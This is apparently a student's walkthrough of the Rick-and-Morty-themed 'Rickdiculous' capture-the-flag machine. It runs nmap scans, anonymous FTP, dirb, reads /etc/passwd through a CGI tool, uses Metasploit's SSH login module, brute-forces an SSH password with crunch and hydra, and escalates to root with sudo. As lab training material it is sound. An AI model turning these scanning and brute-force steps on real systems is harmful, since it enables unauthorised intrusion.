RICKDICULOUS REPORT (120 flags)

Step 1: I'm starting out with nmap aggressive scanning of all ports to scan everything with "nmap -p- -A": **OS detection, version detection, script scanning, and traceroute**

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -A 192.168.18.198
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-13 01:45 EST
Nmap scan report for 192.168.18.198
Host is up (0.00061s latency).
Not shown: 65528 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
```

```
| fingerprint-strings:
|   NULL:
|_     FLAG:{TheyFoundMyBackDoorMorty}-10Points
```

Found the 1st flag!

Step 2: There's too much information and it's hard to see all ports so I'm just gonna do a normal nmap scan of all ports with "nmap -p-"

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- 192.168.18.198
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-13 06:13 EST
Nmap scan report for 192.168.18.198
Host is up (0.00026s latency).
Not shown: 65528 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
9090/tcp  open  zeus-admin
13337/tcp open  unknown
22222/tcp open  easyengine
60000/tcp open  unknown
MAC Address: 08:00:27:BF:52:95 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.80 seconds
```

Step 3: Port 60000 is open so I'm going to connect to port 60000 with netcat "nc"

```
┌──(kali㉿kali)-[~]
└─$ nc 192.168.18.198 60000
Welcome to Ricks half baked reverse shell...
# ls
FLAG.txt
# cat FLAG.txt
FLAG{Flip the pickle Morty!} - 10 Points
#
```

Found the 2nd flag!

Step 4: Port 13337 is open so I'm going to connect to port 13337 with netcat "nc"

```
┌──(kali㉿kali)-[~]
└─$ nc 192.168.18.198 13337
FLAG:{TheyFoundMyBackDoorMorty}-10Points
```

Found the 3rd flag!

Step 5: Connect with FTP & the aggressive scanning I did in step 1 with nmap shows 'Anonymous FTP login allowed' so I inputted "Anonymous" as the username and it allows me to enter without password

```
└─$ nmap -p- -A 192.168.18.198
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-13 06:02 EST
Stats: 0:00:42 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.90% done; ETC: 06:03 (0:00:00 remaining)
Stats: 0:00:44 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.90% done; ETC: 06:03 (0:00:00 remaining)
Nmap scan report for 192.168.18.198
Host is up (0.00098s latency).
Not shown: 65528 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

```
└─$ ftp 192.168.18.198
Connected to 192.168.18.198.
220 (vsFTPd 3.0.3)
Name (192.168.18.198:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
```

Step 6: I checked the directory with "ls" and saw a "FLAG.txt" file so I copied the data to my directory using "get" so I can read it with "cat"

```
ftp> ls
229 Entering Extended Passive Mode (|||48824|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0              42 Aug 22  2017 FLAG.txt
```

```
ftp> get FLAG.txt
local: FLAG.txt remote: FLAG.txt
229 Entering Extended Passive Mode (|||12390|)
150 Opening BINARY mode data connection for FLAG.txt (42 bytes).
100% |*********************************|    42       20.10 KiB/s    00:00 ETA
226 Transfer complete.
```

```
┌──(kali㉿kali)-[~]
└─$ ls
10.0.2.15.gnmap
10.0.2.15.nmap
10.0.2.15.xml
ata-modules-5.18.0-kali6-amd64-di_5.18.14-1kali1_amd64.udeb
Desktop
Documents
Downloads
FLAG.txt
```

```
┌──(kali㉿kali)-[~]
└─$ cat FLAG.txt
FLAG{Whoa this is unexpected} - 10 Points
```

Found the 4th flag!

Step 7: I use brute force “dirb” to check web vulnerability of the Rickdiculous website and found a password and robot directory

```
Fedora 26 (Server Edition)
Kernel 4.11.8-300.fc26.x86_64 on an x86_64 (tty1)

Admin Console: https://192.168.18.198:9090/ or https://[2404:8000:1001:92b1:640d:fea:a8df:fe81]:9090
/

localhost login:
```

```
┌──(root㉿kali)-[/home/kali]
└─# dirb http://192.168.18.198/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Fri Jan 13 02:00:32 2023
URL_BASE: http://192.168.18.198/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------


GENERATED WORDS: 4612

---- Scanning URL: http://192.168.18.198/ ----

+ http://192.168.18.198/cgi-bin/ (CODE:403|SIZE:217)
+ http://192.168.18.198/index.html (CODE:200|SIZE:326)

==> DIRECTORY: http://192.168.18.198/passwords/
+ http://192.168.18.198/robots.txt (CODE:200|SIZE:126)

---- Entering directory: http://192.168.18.198/passwords/ ----

(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)


-----------------
END_TIME: Fri Jan 13 02:00:38 2023
DOWNLOADED: 4612 - FOUND: 3
```

Step 8: I then copy pasted the password directory to mozilla firefox and opened the FLAG.txt file

Index of /passwords

Name	Last modified	Size	Description
Parent Directory		-	
FLAG.txt	2017-08-22 02:31	44	
passwords.html	2017-08-23 19:51	352	

```
FLAG{Yeah d- just don't do it.} - 10 Points
```

Found the 5th flag!

Step 8: I opened the passwords.html file and inspected it, where I found a password “winter”

Wow Morty real clever. Storing passwords in a file called passwords.html? You've really done it this time Morty. Let me at least hide them.. I'd delete them entirely but I know you'd go bitching to your mom. That's the last thing I need.

```
1 <!DOCTYPE html>
2 <html>
3 <head>
4 <title>Morty's Website</title>
5 <body>Wow Morty real clever. Storing passwords in a file called passwords.html? You've really done it this time Morty. Let me at least hide them.. I'd delete them entirely
6 <!--Password: winter-->
7 </head>
8 </html>
9
```

Step 9: I then copy pasted the robot.txt directory to mozilla firefox and found some cgi-bin files

192.168.18.198/robots.txt

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHu

```
They're Robots Morty! It's ok to shoot them! They're just Robots!

/cgi-bin/root_shell.cgi
/cgi-bin/tracertool.cgi
/cgi-bin/*
```

Step 10: I copy-pasted the /cgi-bin/tracertool.cgi to Mozilla Firefox and found Morty's Machine Tracer Machine. Below I found 3 accounts: RickSanchez, Morty, and Summer

---

MORTY'S MACHINE TRACER MACHINE

Enter an IP address to trace.

Trace!

```
::::::::::::::
/etc/passwd
::::::::::::::
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-coredump:x:999:998:systemd Core Dumper:/:/sbin/nologin
systemd-timesync:x:998:997:systemd Time Synchronization:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:997:996:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
cockpit-ws:x:996:994:User for cockpit-ws:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
chrony:x:995:993::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
RickSanchez:x:1000:1000::/home/RickSanchez:/bin/bash
Morty:x:1001:1001::/home/Morty:/bin/bash
Summer:x:1002:1002::/home/Summer:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
```

Step 11: I then use metasploit to test for exploits using “msfconsole”. Then I do auxiliary scanning and try to brute force SSH login and set the rhost (my IP found in rickdiculous console), rport (open port from first step nmap scanning), username = Summer (one of the users found in step 10), and password = winter (which I found when inspecting robot.txt in step 8)

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
```

```
msf6 > auxiliary/scanner/ssh/ssh_login
[-] Unknown command: auxiliary/scanner/ssh/ssh_login
This is a module we can load. Do you want to use auxiliary/scanner/ssh/ssh_lo
gin? [y/N]   y
msf6 auxiliary(scanner/ssh/ssh_login) > set rhost 192.168.18.198
rhost => 192.168.18.198
msf6 auxiliary(scanner/ssh/ssh_login) > set rport 22222
rport => 22222
msf6 auxiliary(scanner/ssh/ssh_login) > set username Summer
username => Summer
msf6 auxiliary(scanner/ssh/ssh_login) > set password winter
password => winter
msf6 auxiliary(scanner/ssh/ssh_login) > exploit
```

Step 12: I then look at Summer’s directory with “ls” and saw another FLAG.txt file, which I read using “cat FLAG.txt” and found a flag

```
meterpreter > ls
Listing: /home/Summer
=====================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-------  1     fil   2017-09-14 21:51:12 -0400  .bash_history
100644/rw-r--r--  18    fil   2017-05-30 00:53:32 -0400  .bash_logout
100644/rw-r--r--  193   fil   2017-05-30 00:53:32 -0400  .bash_profile
100644/rw-r--r--  231   fil   2017-05-30 00:53:32 -0400  .bashrc
100664/rw-rw-r--  48    fil   2017-08-21 12:46:53 -0400  FLAG.txt

meterpreter > cat FLAG.txt
FLAG{Get off the high road Summer!} - 10 Points
meterpreter >
```

Found the 5th flag!

Step 13: I then navigate into home using “cd /home” and see the directory in home using “ls”, then I navigated into Morty’s folder using “cd Morty” and see files inside Morty’s folder using “ls”, where I found 2 files: “Safe_Password.jpg” and “journal.txt.zip”

```
meterpreter > cd /home
meterpreter > ls
Listing: /home
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040755/rwxr-xr-x  131   dir   2017-09-14 21:49:35 -0400  Morty
040755/rwxr-xr-x  113   dir   2017-09-20 20:30:03 -0400  RickSanchez
040700/rwx------  99    dir   2017-09-14 21:49:00 -0400  Summer

meterpreter > cd Morty
meterpreter > ls
Listing: /home/Morty
====================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100600/rw-------  1      fil   2017-09-14 21:51:17 -0400  .bash_history
100644/rw-r--r--  18     fil   2017-05-30 00:53:32 -0400  .bash_logout
100644/rw-r--r--  193    fil   2017-05-30 00:53:32 -0400  .bash_profile
100644/rw-r--r--  231    fil   2017-05-30 00:53:32 -0400  .bashrc
100644/rw-r--r--  43145  fil   2017-08-21 13:04:12 -0400  Safe_Password.jpg
100644/rw-r--r--  414    fil   2017-08-21 13:06:10 -0400  journal.txt.zip
```

Step 14: I then downloaded the Safe_Password.jpg & journal.txt.zip (I tried to use cat to read it but I t doesn’t work I think it’s because it’s a jpg file, I also downloaded the journal.txt.zip file coz I need to unzip it first to be able to read it)

```
meterpreter > download Safe_Password.jpg
[*] Downloading: Safe_Password.jpg → /home/kali/Safe_Password.jpg
[*] Downloaded 42.13 KiB of 42.13 KiB (100.0%): Safe_Password.jpg → /home/ka
li/Safe_Password.jpg
[*] download    : Safe_Password.jpg → /home/kali/Safe_Password.jpg
meterpreter > download journal.txt.zip
[*] Downloading: journal.txt.zip → /home/kali/journal.txt.zip
[*] Downloaded 414.00 B of 414.00 B (100.0%): journal.txt.zip → /home/kali/j
ournal.txt.zip
```

Step 15: I unzipped the journal.txt.zip file and read it using “cat”, where i found another flag

```
┌──(kali㉿kali)-[~]
└─$ unzip journal.txt.zip
Archive:  journal.txt.zip
[journal.txt.zip] journal.txt password:
password incorrect--reenter:
  inflating: journal.txt

┌──(kali㉿kali)-[~]
└─$ cat journal.txt
Monday: So today Rick told me huge secret. He had finished his flask and was
on to commercial grade paint solvent. He spluttered something about a safe, a
nd a password. Or maybe it was a safe password... Was a password that was saf
e? Or a password to a safe? Or a safe password to a safe?

Anyway. Here it is:

FLAG: {131333} - 20 Points
```

Found the 6th flag!

Step 16: I use SSH to connect to Summer’s account with open port 22222 from the step 1 nmap scan, used the password winter and checked the directory, where I found a FLAG.txt file and read it using “cat”, but it doesn’t work so i tried using “more”. Both “cat” and “more” view the content of the file but “cat is used for small files as the contents will zoom past and we'll only be able to see the content of the last screen (so maybe that’s the case here).

```
┌──(root㉿kali)-[/home/kali]
└─# ssh Summer@192.168.18.198 -p 22222
The authenticity of host '[192.168.18.198]:22222 ([192.168.18.198]:22222)' ca
n't be established.
ED25519 key fingerprint is SHA256:RD+qmhxymhbL8Ul9bgsqlDNHrMGfOZAR77D3nqLNwTA
.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.18.198]:22222' (ED25519) to the list of
known hosts.
Summer@192.168.18.198's password:
Last login: Wed Aug 23 19:20:29 2017 from 192.168.56.104
[Summer@localhost ~]$ ls
FLAG.txt
[Summer@localhost ~]$ cat FLAG.txt
                        _
                       | \
                       | |
                       | |
   |\                  | |
  /, ~\               / /
 X     `-.....------./ /
  ~-. ~  ~             |
     \             /    |
      \  /_     ___\   /
      | ^ ~~~~~   \  |
      | | \        || |
      | |\ \       || )
     (_/ (_/      ((_/

[Summer@localhost ~]$ more FLAG.txt
FLAG{Get off the high road Summer!} - 10 Points
```

Found the 7th flag!

Step 17: I then downloaded the safe file to my directory.

```
meterpreter > download safe
[*] Downloading: safe → /home/kali/safe
```

```
┌──(kali㉿kali)-[~]
└─$ ls
10.0.2.15.gnmap
10.0.2.15.nmap
10.0.2.15.xml
ata-modules-5.18.0-kali6-amd64-di_5.18.14-1kali1_amd64.udeb
Desktop
Documents
Downloads
FLAG.txt
index.html
journal.txt
journal.txt.zip
linux-headers-5.18.0-kali6-amd64_5.18.14-1kali1_amd64.deb
linux-headers-5.18.0-kali6-amd64_5.18.14-1kali1_amd64.deb.1
Music
nmap.gnmap
nmap.nmap
nmap.xml
Pictures
Public
rtl8188eus
safe
Safe_Password.jpg
```

Step 18: I use chmod 777 to give myself access to read, write and execute the safe file

```
┌──(kali㉿kali)-[~]
└─$ sudo su
[sudo] password for kali:
┌──(root㉿kali)-[/home/kali]
└─# chmod 777 safe
```

Step 19: I used ./safe 131333 (from step 15) to decrypt the flag in safe and got a password hint

```
┌──(root㉿kali)-[/home/kali]
└─# ./safe 131333
decrypt:        FLAG{And Awwwaaaaayyyy we Go!} - 20 Points

Ricks password hints:
 (This is incase I forget.. I just hope I don't forget how to write a script
 to generate potential passwords. Also, sudo is wheely good.)
Follow these clues, in order


1 uppercase character
1 digit
One of the words in my old bands name.
```

Step 20: The password hint I got in step 17 was 1 uppercase letter, 1 digit, and one of the words in my old bands name. I googled the rick and morty's band name which was "Flesh Curtains" so I used crunch to generate a mix of 1 uppercase letter & 1 digit +Flesh and same thing with curtains and added it in my dictionary to prepare for brute force

```
┌──(root㉿kali)-[/home/kali]
└─# cat dict.txt
crunch 7 7 -t,%Flesh -O
crunch 10 10 -t,%Curtains -O
```

Step 21: I used hydra for brute forcing using the dictionary in step 21 to try out every combination of 'curtains + 1 uppercase letter + 1 digit' and 'Flesh + 1 uppercase letter + 1 digit' (like the bandit OverTheWire bruteforcing with dictionary I learned in week 1)

```
┌──(root㉿kali)-[/home/kali]
└─# hydra -l RickSanchez -P dict.txt 192.168.18.198 ssh -s 22222
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use
in military or secret service organizations, or for illegal purposes (this
is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-01-13 0
4:29:20
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
 recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1043 login tries (l:1/p
:1043), ~66 tries per task
[DATA] attacking ssh://192.168.18.198:22222/
[STATUS] 156.00 tries/min, 156 tries in 00:01h, 889 to do in 00:06h, 14 act
ive
[22222][ssh] host: 192.168.18.198   login: RickSanchez   password: P7Curtai
ns
1 of 1 target successfully completed, 1 valid password found
```

Step 22: I then got into RickSanchez's account with the login and password found in step 21 (RickSanchez) and (P7Curtains) and looked into his directory and files, where I found and viewed FLAG.txt

```
[RickSanchez@localhost ~]$ sudo su
[root@localhost RickSanchez]# ls
RICKS_SAFE  ThisDoesntContainAnyFlags
[root@localhost RickSanchez]# cd
[root@localhost ~]# cd /root
[root@localhost ~]# ls
anaconda-ks.cfg  FLAG.txt
[root@localhost ~]# cat FLAG.txt
                        _
                       | \
                       | |
                       | |
   |\                  | |
  /, ~\                / /
 X     `-.....------./ /
  ~-. ~  ~            |
     \             /  |
      \  /_     ___\   /
      | ^ ~~~~~   \  |
      | | \        || |
      | |\ \       || )
     (_/ (_/      ((_/

[root@localhost ~]# more FLAG.txt
FLAG: {Ionic Defibrillator} - 30 points
```

Found the 8th flag!